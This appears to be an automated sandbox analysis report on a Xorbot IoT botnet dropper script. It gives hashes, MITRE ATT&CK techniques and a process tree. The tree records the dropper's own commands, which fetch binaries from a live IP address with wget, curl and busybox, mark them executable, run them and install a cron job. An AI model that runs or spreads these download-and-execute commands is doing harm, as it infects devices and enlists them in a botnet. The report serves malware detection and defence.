xorbot | 651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af

Analysis

max time kernel
150s
max time network
89s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01/12/2024, 02:17

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General

Target

bins.sh
Size

10KB
MD5

2e0f38cfc6726b8feda8dfd9a839df81
SHA1

d140fedfb105520013211fe1a1abbc9de5d560d0
SHA256

651facfa97c82b41031bd4d86471086561fd460b8d7a974018fd5f2fad2b81af
SHA512

900ecfb5f6760b7523bd53f377a30abdad640c34b4d3d180da8449bd8c84b7f47d41c80fa4757a289a1a99b14d657a1ddeffde3baa9b7dccfee61266bd76c029
SSDEEP

192:M/fXV8QRDE/Lj23cEns7Vw8sLjwEc7r//Lj23cFVw86DwEc7ri/fXV8QM:M/fXV8QRDE/Lj23cEns70W/Lj23cFq/C

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
743	chmod
754	chmod
795	chmod
809	chmod
846	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	744	NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	755	zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz	796	sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
/tmp/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr	811	C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
/tmp/39ovZWkiU135M5NWdifEwM77THT5cJgG1C	847	39ovZWkiU135M5NWdifEwM77THT5cJgG1C

Renames itself 1 IoCs

pid	Process
848	39ovZWkiU135M5NWdifEwM77THT5cJgG1C

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.av6ey6	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/854/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/18/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/23/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/154/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/335/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/3/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/673/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/4/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/16/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/74/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/80/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/121/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/160/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/707/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/76/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/252/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/15/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/36/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/75/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/8/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/11/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/24/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/77/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/22/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/706/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/681/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/855/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/21/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/37/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/81/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/170/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/176/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/856/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/2/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/7/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/120/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/383/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/434/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/853/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/9/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/10/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/17/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/381/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/360/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/364/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/714/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/6/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/12/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/70/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/109/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/333/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/14/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/19/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/82/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/857/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/73/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/387/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C
File opened for reading	/proc/708/cmdline	39ovZWkiU135M5NWdifEwM77THT5cJgG1C

Writes file to tmp directory 15 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	curl
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	busybox
File opened for modification	/tmp/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr	curl
File opened for modification	/tmp/39ovZWkiU135M5NWdifEwM77THT5cJgG1C	busybox
File opened for modification	/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz	curl
File opened for modification	/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz	busybox
File opened for modification	/tmp/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr	wget
File opened for modification	/tmp/39ovZWkiU135M5NWdifEwM77THT5cJgG1C	wget
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	curl
File opened for modification	/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz	wget
File opened for modification	/tmp/39ovZWkiU135M5NWdifEwM77THT5cJgG1C	curl
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	wget
File opened for modification	/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE	busybox
File opened for modification	/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj	wget
File opened for modification	/tmp/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Writes file to tmp directory
  PID:742
- /bin/chmod
  chmod 777 NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  ./NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE
  2⤵
  PID:746
- /usr/bin/wget
  wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Writes file to tmp directory
  PID:747
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:748
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  ./zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  - Executes dropped EXE
  PID:755
- /bin/rm
  rm zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj
  2⤵
  PID:758
- /usr/bin/wget
  wget http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - Writes file to tmp directory
  PID:760
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:772
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - Writes file to tmp directory
  PID:785
- /bin/chmod
  chmod 777 sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  ./sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz
  2⤵
  PID:800
- /usr/bin/wget
  wget http://216.126.231.240/bins/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  - Writes file to tmp directory
  PID:801
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  - Writes file to tmp directory
  PID:808
- /bin/chmod
  chmod 777 C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  ./C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr
  2⤵
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:833
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  2⤵
  - Writes file to tmp directory
  PID:845
- /bin/chmod
  chmod 777 39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  ./39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:847
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:849
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:850
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:851
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:852
- /bin/rm
  rm 39ovZWkiU135M5NWdifEwM77THT5cJgG1C
  2⤵
  PID:854
- /usr/bin/wget
  wget http://216.126.231.240/bins/8uVMVdG4z0StQUOqPEOptM9ldYt5uZrqy5
  2⤵
  PID:857

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/39ovZWkiU135M5NWdifEwM77THT5cJgG1C

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/C51neKQB5CulMH8UWQWgIvQ2A2x2irEULr

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/NOVqLDdeCkROncjDiJ24XZfsQIQXiijeYE

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/sOpHFdV521t8TEceKAtTiXTkxNqaiRM1tz

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/zZUAX0wIalsy3fvEh5B8X31RVZEQx55kUj

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/var/spool/cron/crontabs/tmp.av6ey6

Filesize
210B

MD5
a72c738e6be91b78e1a1b02846731298

SHA1
1751d012e83f117a93aa598c4dcfa598019f1f88

SHA256
c90db07b3c6f2b91338631d50028fe9c95bd1487cbbb989724a5700c49aa51a0

SHA512
7599c6ea1c5a55040218919ac3dbd37194850a75dab08f963694d599c08d6ec1a327b14c7e3e97947cbff3dcd581824dffe207da483decb937963b51088ed4fe

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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